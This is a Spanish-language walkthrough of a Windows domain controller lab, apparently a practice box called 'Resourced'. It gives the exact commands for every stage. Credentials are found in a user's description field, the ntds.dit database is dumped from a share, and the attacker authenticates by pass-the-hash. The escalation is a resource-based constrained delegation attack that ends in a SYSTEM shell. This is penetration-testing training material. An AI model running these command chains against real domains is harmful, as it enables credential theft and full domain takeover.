Resourced

Detalles
- Sistema Operativo: Windows
- Dificultad: Medium
- IP Address: 192.168.137.175
- Autor: AETH3RON
Resumen
Resourced es un Controlador de Dominio Windows que expone archivos internos críticos debido a permisos débiles. El acceso inicial se establece descubriendo credenciales en el atributo de descripción de un usuario, lo que permite acceder a un share que contiene un backup de la base de datos de Active Directory (ntds.dit). Tras volcar los hashes del dominio y autenticarnos vía WinRM, la escalada de privilegios se logra explotando un ACL GenericWrite sobre el Controlador de Dominio para realizar un ataque de Resource-Based Constrained Delegation (RBCD).
Enumeración
Nmap
Comenzamos escaneando el objetivo para identificar los puertos abiertos y servicios.
nmap -Pn -sS -sV -p- 192.168.137.175 -oN nmap-basic

Realizamos un escaneo más completo sobre los puertos descubiertos para enumerar el entorno de Active Directory.
nmap -Pn -sC -p53,88,135,139,389,445,464,593,636,3268,3269,3389,5985,9389 192.168.137.175 -oN nmap-common

SMB
Procedemos con enumeración SMB básica usando NetExec para identificar usuarios potenciales o información accesible sin autenticación.
nxc smb 192.168.137.175 -u '' -p '' --users

Descubrimos una filtración de información crítica: el usuario V.Ventz tiene su contraseña almacenada en el atributo description: HotelCalifornia194!
Acceso Inicial
Con credenciales válidas, enumeramos los shares disponibles para ver a qué puede acceder este usuario.
nxc smb 192.168.137.175 -u 'v.ventz' -p 'HotelCalifornia194!' --shares

Identificamos shares interesantes. Para explorar exhaustivamente su contenido, usamos el módulo spider_plus.
nxc smb 192.168.137.175 -u 'v.ventz' -p 'HotelCalifornia194!' -M spider_plus

Analizando el output JSON resultante, confirmamos la existencia de dos archivos críticos: ntds.dit y SYSTEM.

El archivo ntds.dit es la base de datos de Active Directory, y combinado con el hive SYSTEM, podemos extraer todos los hashes del dominio offline. Descargamos estos archivos y usamos impacket-secretsdump para volcar los hashes.
impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL

Extraemos exitosamente los hashes NTLM para todos los usuarios. Para obtener una shell, comprobamos qué usuarios pertenecen al grupo Remote Management Users, que permite el acceso WinRM.
nxc ldap 192.168.137.175 -u 'v.ventz' -p 'HotelCalifornia194!' -M group-mem -o GROUP="Remote Management Users"

El usuario L.Livingstone es miembro. Usamos su hash para autenticarnos mediante Pass-the-Hash con evil-winrm.
evil-winrm -i 192.168.137.175 -u L.Livingstone -H '19a3a7550ce8c505c2d46b5e39d6f808'

Escalada de Privilegios
Para identificar rutas de escalada, recolectamos datos del dominio usando SharpHound.
.\SharpHound.exe -c All --zipfilename loot.zip

Tras importar los datos en BloodHound, descubrimos que nuestro usuario, L.Livingstone, tiene privilegios GenericWrite sobre el objeto del Controlador de Dominio (RESOURCEDC).

Esta configuración nos permite realizar un ataque de Resource-Based Constrained Delegation (RBCD).
Resource-Based Constrained Delegation (RBCD)
RBCD permite a un objeto (en este caso, el DC) decidir qué recursos pueden impersonar usuarios ante él. Como tenemos acceso de escritura sobre el objeto del DC, podemos configurarlo para que “confíe” en una cuenta de equipo que controlamos. Una vez en la lista de confianza, nuestra máquina controlada puede solicitar un ticket de servicio para el Administrador y acceder al DC.
Usamos bloodyAD para ejecutar este ataque. Primero, creamos una nueva cuenta de equipo (PwnMachine) que controlamos.
bloodyAD --host 192.168.137.175 -d resourced.local -u L.Livingstone -p 'aad3b435b51404eeaad3b435b51404ee:19a3a7550ce8c505c2d46b5e39d6f808' add computer PwnMachine 'Hacker123!'

A continuación, configuramos el Controlador de Dominio para permitir que PwnMachine delegue ante él (configurando el atributo msDS-AllowedToActOnBehalfOfOtherIdentity).
bloodyAD --host 192.168.137.175 -d resourced.local -u L.Livingstone -p 'aad3b435b51404eeaad3b435b51404ee:19a3a7550ce8c505c2d46b5e39d6f808' add rbcd RESOURCEDC$ PwnMachine$

Ahora, solicitamos un Service Ticket (TGS) impersonando al Administrador para el servicio CIFS en el DC.
impacket-getST -spn cifs/RESOURCEDC.resourced.local -impersonate Administrator -dc-ip 192.168.137.175 'resourced.local/PwnMachine$:Hacker123!'

Finalmente, exportamos el ticket y usamos psexec (usando autenticación Kerberos) para obtener una shell de sistema en el Controlador de Dominio.
export KRB5CCNAME=Administrator@cifs_RESOURCEDC.resourced.local@RESOURCED.LOCAL.ccache
impacket-psexec -k -no-pass RESOURCEDC.resourced.local

Impacto de Negocio
Esta cadena de ataque demuestra las graves consecuencias de almacenes de credenciales expuestos y permisos de Active Directory mal configurados. La capacidad de volcar la base de datos NTDS.dit — que contiene todos los hashes de contraseñas del dominio — representa una brecha catastrófica equivalente a comprometer todas las cuentas de usuario de la organización simultáneamente. El posterior ataque de Resource-Based Constrained Delegation mediante permisos GenericWrite resalta cómo una única entrada de ACL mal configurada puede otorgar a un atacante la capacidad de suplantar a cualquier usuario, incluyendo administradores de dominio. En industrias reguladas, este nivel de compromiso desencadenaría notificaciones obligatorias de brecha y potenciales sanciones regulatorias.
Referencias
- RBCD Attack Guide:
- BloodyAD:
- NTDS Dumping:
- Wagging the Dog - Ataque RBCD (Elad Shamir):
- Abuso de ACLs en Active Directory (harmj0y):